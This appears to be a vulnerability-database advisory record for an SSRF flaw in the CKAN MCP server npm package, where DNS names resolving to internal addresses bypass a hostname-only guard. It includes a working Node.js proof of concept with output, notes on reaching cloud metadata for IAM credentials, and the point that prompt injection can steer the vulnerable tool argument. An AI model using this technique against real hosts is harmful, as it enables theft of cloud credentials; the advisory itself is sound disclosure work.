{"id":"CVE-2026-61612","aliases":["GHSA-798p-78g2-v556"],"url":"https://o3.security/vulnerability/CVE-2026-61612","summary":"@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509","details":"## Summary\nThe SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.\n\n## Affected / patched\n- `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet.\n\n## Severity\nIt is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).\n\n## Root cause — `src/utils/http.ts`, `validateServerUrl`\nThe guard blocks IP **literals** and three loopback alias strings, but does no name resolution:\n```ts\nconst hostname = parsed.hostname.toLowerCase();\nif (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw;   // string denylist\nif (hostname.match(/^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/)) { /* block private/special IPv4 LITERALS */ }\n// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed\n```\nBoth prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: <body>`.\n\n> Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.\n\n## Proof of concept\nDrives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.\n```sh\nnpm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk\nnode poc.mjs\n```\n```js\nimport http from 'node:http';\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';\nconst internal = http.createServer((_req, res) => {\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({ Token: SECRET }));                 // stand-in for an IMDS / internal response\n});\nawait new Promise(r => internal.listen(0, '127.0.0.1', r));\nconst port = internal.address().port;\n\nconst client = new Client({ name: \"ssrf-poc\", version: \"1.0.0\" });\nawait client.connect(new StdioClientTransport({\n  command: \"node\", args: [\"node_modules/@aborruso/ckan-mcp-server/dist/index.js\"]\n}));\n\n// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname \"127.0.0.1.nip.io\"\n// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.\n// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.\nconst evil = `http://127.0.0.1.nip.io:${port}/`;\nconst res = await client.callTool({ name: \"ckan_package_search\", arguments: { server_url: evil, q: \"x\" } });\n\nconst text = res.content?.[0]?.text || JSON.stringify(res);\nconsole.log(\"SSRF:\", text.includes(SECRET) ? \"YES — internal server reached, body returned to caller\" : \"no\");\nconsole.log(text.slice(0, 220));\nawait client.close(); internal.close();\n```\nOutput:\n```\nSSRF: YES — internal server reached, body returned to caller\nCKAN API returned success=false: {\"Token\":\"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE\"}\n```\nA real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained.\n\n## Impact\nCaller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.\n\n## Suggested fix\nResolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.","published":"2026-09-21T17:37:17.030Z","modified":"2026-10-21T02:58:52.296461028Z","cvss":{"score":5.7,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"@aborruso/ckan-mcp-server","fixedVersion":"0.4.108"}],"fix":{"url":"https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40","label":"ondata/ckan-mcp-server@bb7439b"},"references":[{"type":"WEB","url":"https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.108"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61612.json"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3xm7-qw7j-qc8v"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g84h-j7jj-x32p"},{"type":"ADVISORY","url":"https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61612"},{"type":"FIX","url":"https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40"},{"type":"PACKAGE","url":"https://github.com/ondata/ckan-mcp-server"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:52.296461028Z"}}